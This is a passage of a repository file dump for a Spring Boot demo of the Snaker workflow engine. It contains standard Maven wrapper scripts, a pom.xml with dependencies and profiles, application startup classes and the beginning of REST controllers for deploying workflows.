true;\n\t\t\t}\n\t\t\tif(StringHelper.isNotEmpty(task.getOperator())) {\n\t\t\t\treturn operator.equals(task.getOperator());\n\t\t\t}\n\t\t}\n\t\tList<TaskActor> actors = access().getTaskActorsByTaskId(task.getId());\n\t\tif(actors == null || actors.isEmpty()) return true;\n\t\treturn !StringHelper.isEmpty(operator)\n\t\t\t\t&& getStrategy().isAllowed(operator, actors); // \t\tstrategy = ServiceContext.find(TaskAccessStrategy.class);\n\t}\n====\n    调用方法：complete、take\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n从strategy = ServiceContext.find(TaskAccessStrategy.class);可得出，仅可存在一个实现类。\n\n扩展示例\n\n@Component\npublic class GeneralAccessStrategy implements TaskAccessStrategy {\n————————————————\n版权声明：本文为CSDN博主「lakernote」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。\n原文链接：https://blog.csdn.net/abu935009066/article/details/119568513"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven2 Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Mingw, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\n  # TODO classpath?\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\n##########################################################################################\n# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n# This allows using the maven wrapper in projects that prohibit checking in binary data.\n##########################################################################################\nif [ -r \"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\" ]; then\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Found .mvn/wrapper/maven-wrapper.jar\"\n    fi\nelse\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ...\"\n    fi\n    jarUrl=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar\"\n    while IFS=\"=\" read key value; do\n      case \"$key\" in (wrapperUrl) jarUrl=\"$value\"; break ;;\n      esac\n    done < \"$BASE_DIR/.mvn/wrapper/maven-wrapper.properties\"\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Downloading from: $jarUrl\"\n    fi\n    wrapperJarPath=\"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\"\n\n    if command -v wget > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found wget ... using wget\"\n        fi\n        wget \"$jarUrl\" -O \"$wrapperJarPath\"\n    elif command -v curl > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found curl ... using curl\"\n        fi\n        curl -o \"$wrapperJarPath\" \"$jarUrl\"\n    else\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Falling back to using Java to download\"\n        fi\n        javaClass=\"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java\"\n        if [ -e \"$javaClass\" ]; then\n            if [ ! -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Compiling MavenWrapperDownloader.java ...\"\n                fi\n                # Compiling the Java class\n                (\"$JAVA_HOME/bin/javac\" \"$javaClass\")\n            fi\n            if [ -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                # Running the downloader\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Running MavenWrapperDownloader.java ...\"\n                fi\n                (\"$JAVA_HOME/bin/java\" -cp .mvn/wrapper MavenWrapperDownloader \"$MAVEN_PROJECTBASEDIR\")\n            fi\n        fi\n    fi\nfi\n##########################################################################################\n# End of extension\n##########################################################################################\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\nif [ \"$MVNW_VERBOSE\" = true ]; then\n  echo $MAVEN_PROJECTBASEDIR\nfi\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    http://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven2 Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM set title of command window\ntitle %0\n@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nset DOWNLOAD_URL=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar\"\nFOR /F \"tokens=1,2 delims==\" %%A IN (%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties) DO (\n\tIF \"%%A\"==\"wrapperUrl\" SET DOWNLOAD_URL=%%B \n)\n\n@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n@REM This allows using the maven wrapper in projects that prohibit checking in binary data.\nif exist %WRAPPER_JAR% (\n    echo Found %WRAPPER_JAR%\n) else (\n    echo Couldn't find %WRAPPER_JAR%, downloading it ...\n\techo Downloading from: %DOWNLOAD_URL%\n    powershell -Command \"(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')\"\n    echo Finished downloading %WRAPPER_JAR%\n)\n@REM End of extension\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.5.9.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_snaker</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n        <!--springboot提供四种数据源，默认为org.apache.tomcat.jdbc.pool.DataSource-->\n        <!--详见：https://blog.csdn.net/pengjunlee/article/details/80081231-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n            <version>1.5.9.RELEASE</version>\n            <exclusions>\n                <!-- 排除Tomcat-JDBC依赖 -->\n                <exclusion>\n                    <groupId>org.apache.tomcat</groupId>\n                    <artifactId>tomcat-jdbc</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n            <version>1.5.9.RELEASE</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <!-- 这个是剔除掉自带的 tomcat部署的-->\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- tomcat容器部署 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-tomcat</artifactId>\n        </dependency>\n        <!--springboot热部署依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-devtools</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <!-- 支持 @ConfigurationProperties 注解 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <!--对jsp的支持的依赖-->\n        <!--<dependency>\n            <groupId>org.apache.tomcat.embed</groupId>\n            <artifactId>tomcat-embed-jasper</artifactId>\n            <scope>provided</scope>\n        </dependency>-->\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>5.0.5</version>\n            <!--<scope>runtime</scope>-->\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--snaker依赖项-->\n        <dependency>\n            <groupId>com.github.snakerflow</groupId>\n            <artifactId>snaker-core</artifactId>\n            <version>2.4.0</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.slf4j</groupId>\n                    <artifactId>slf4j-api</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>com.github.snakerflow</groupId>\n            <artifactId>snaker-spring</artifactId>\n            <version>2.4.0</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.slf4j</groupId>\n                    <artifactId>slf4j-api</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>com.github.snakerflow</groupId>\n            <artifactId>snaker-mybatis</artifactId>\n            <version>2.4.0</version>\n        </dependency>\n        <!--FIXME 如果使用mybatis-plus，就不用使用该依赖，避免因版本差异造成异常。如果不使用mybatis-plus，请取消注释引入此依赖-->\n        <!--<dependency>\n            <groupId>org.mybatis.spring.boot</groupId>\n            <artifactId>mybatis-spring-boot-starter</artifactId>\n            <version>1.3.2</version>\n        </dependency>-->\n        <!-- FIXME 引入mybatis-plus之后,请不要再次引入 MyBatis 以及 MyBatis-Spring，以避免因版本差异导致的问题。-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>3.0.6</version>\n        </dependency>\n\n        <!--代码生成器 mapper.xml模板依赖start-->\n        <!-- velocity 模板引擎, 默认 -->\n\n        <dependency>\n            <groupId>org.apache.velocity</groupId>\n            <artifactId>velocity-engine-core</artifactId>\n            <version>2.3</version>\n        </dependency>\n        <!-- freemarker 模板引擎 -->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n        </dependency>\n        <!--代码生成器 mapper.xml模板依赖end-->\n\n        <!--springboot四种默认数据之一：dbcp-->\n        <dependency>\n            <groupId>commons-dbcp</groupId>\n            <artifactId>commons-dbcp</artifactId>\n            <version>1.4</version>\n            <scope>runtime</scope>\n        </dependency>\n        <!--dbcp依赖必须-->\n        <dependency>\n            <groupId>commons-dbutils</groupId>\n            <artifactId>commons-dbutils</artifactId>\n            <version>1.6</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-tx</artifactId>\n            <version>4.3.13.RELEASE</version>\n        </dependency>\n    </dependencies>\n    <!--开发、生产环境等配置文件切换-->\n    <profiles>\n        <profile>\n            <id>develop</id>\n            <properties>\n                <profiles.active>develop</profiles.active>\n            </properties>\n            <activation>\n                <activeByDefault>true</activeByDefault>\n            </activation>\n        </profile>\n        <profile>\n            <id>local</id>\n            <properties>\n                <profiles.active>local</profiles.active>\n            </properties>\n        </profile>\n        <profile>\n            <id>preview</id>\n            <properties>\n                <profiles.active>preview</profiles.active>\n            </properties>\n        </profile>\n        <profile>\n            <id>release</id>\n            <properties>\n                <profiles.active>release</profiles.active>\n            </properties>\n        </profile>\n        <profile>\n            <id>test</id>\n            <properties>\n                <profiles.active>test</profiles.active>\n            </properties>\n        </profile>\n    </profiles>\n    <build>\n        <!--打包的jar命名-->\n        <!--<finalName>${project.artifactId}-${version}</finalName>-->\n        <resources>\n            <!--<resource>\n                <directory>src/main/resources</directory>\n                <filtering>true</filtering>\n                <excludes>\n                    <exclude>config/</exclude>\n                    <exclude>static/assets/**</exclude>\n                </excludes>\n            </resource>-->\n            <resource>\n                <directory>src/main/resources/config/${profiles.active}</directory>\n                <targetPath>.</targetPath>\n                <filtering>true</filtering>\n            </resource>\n            <!--TODO 流程模板所在文件配置-->\n            <resource>\n                <directory>src/main/resources</directory>\n                <includes>\n                    <include>snakerflow/**</include>\n                </includes>\n            </resource>\n            <!--<resource>\n                <directory>src/main/resources</directory>\n                <includes>\n                    <include>static/assets/**</include>\n                </includes>\n            </resource>-->\n        </resources>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.7</source>\n                    <target>1.7</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>1.5.9.RELEASE</version>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>repackage</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--Mybatis-plus SQL 执行性能分析，开发环境使用，线上不推荐。 maxTime 指的是 sql 最大执行时长 -->\n            <!--<plugin interceptor=\"com.baomidou.mybatisplus.plugins.PerformanceInterceptor\">\n                <property name=\"maxTime\" value=\"100\" />\n                &lt;!&ndash;SQL是否格式化 默认false&ndash;&gt;\n                <property name=\"format\" value=\"true\" />\n            </plugin>-->\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/DemoApplication.java",
    "content": "package com.snakerflow.demo;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.ImportResource;\n\n\n@SpringBootApplication\n@MapperScan(\"com.snakerflow.demo.api.mapper\")\n@ImportResource(locations= {\"classpath:applicationContext.xml\"})\npublic class DemoApplication {\n    public static void main(String[] args) {\n        SpringApplication.run(DemoApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/DemoApplicationRunner.java",
    "content": "package com.snakerflow.demo;\n\nimport com.snakerflow.demo.utils.SnakerEngineFacadeImpl;\nimport org.apache.commons.lang.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.boot.ApplicationArguments;\nimport org.springframework.boot.ApplicationRunner;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.stereotype.Component;\n\n\n/**\n * 说明：在项目启动成功之后，立马部署工作流模板。\n *\n * @author liuxzh\n * @version 1.00\n * @since digibook2.0\n */\n@Component\n@Order(value = 1)\npublic class DemoApplicationRunner implements ApplicationRunner {\n    @Autowired\n    private SnakerEngineFacadeImpl engineUtil;\n    //流程模板路径(配置文件读取）\n    @Value(\"${snaker.workflow.model.path}\")\n    private String path;\n\n    @Override\n    public void run(ApplicationArguments var1) throws Exception {\n        //System.out.println(\"项目部署成功，当前时间：\" + new Date());\n        String processId = engineUtil.deploy(path);\n        if (StringUtils.isNotBlank(processId)) {\n            //部署流程模板成功处理代码\n            //System.out.println(\"部署流程模板成功，流程定义id：\" + processId);\n        } else {\n            //部署流程模板失败处理代码\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/controller/SecUserController.java",
    "content": "package com.snakerflow.demo.api.controller;\n\n\nimport org.springframework.web.bind.annotation.RequestMapping;\n\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * <p>\n *  前端控制器\n * </p>\n *\n * @author liuxzh\n * @since 2018-12-20\n */\n@RestController\n@RequestMapping(\"/api/secUser\")\npublic class SecUserController {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/controller/TestController.java",
    "content": "package com.snakerflow.demo.api.controller;\n\nimport com.snakerflow.demo.api.service.IWorkflowService;\nimport com.snakerflow.demo.utils.ResponseData;\nimport com.snakerflow.demo.utils.SnakerEngineFacadeImpl;\nimport org.apache.commons.lang.StringUtils;\nimport org.snaker.engine.SnakerEngine;\nimport org.snaker.engine.entity.Order;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n@RestController\n@RequestMapping(\"/api/wf\")\npublic class TestController {\n    @Autowired\n    private IWorkflowService wfService;\n    @Autowired\n    private SnakerEngineFacadeImpl snakerEngineFacade;\n    @Autowired\n    private SnakerEngine engine;\n\n    //流程模板路径(配置文件读取）\n    @Value(\"${snaker.workflow.model.path}\")\n    private String MODEL_PATH;\n    //流程模板路径(常量类引入）\n    //public static final String MODEL_PATH = \"snakerflow/examination.snaker\";\n    /*\n     * 部署流程模板\n     * */\n    @RequestMapping(value = \"/deploy\", method = RequestMethod.POST)\n    public ResponseData deployWf() {\n        String processId = snakerEngineFacade.deploy(MODEL_PATH);\n        if 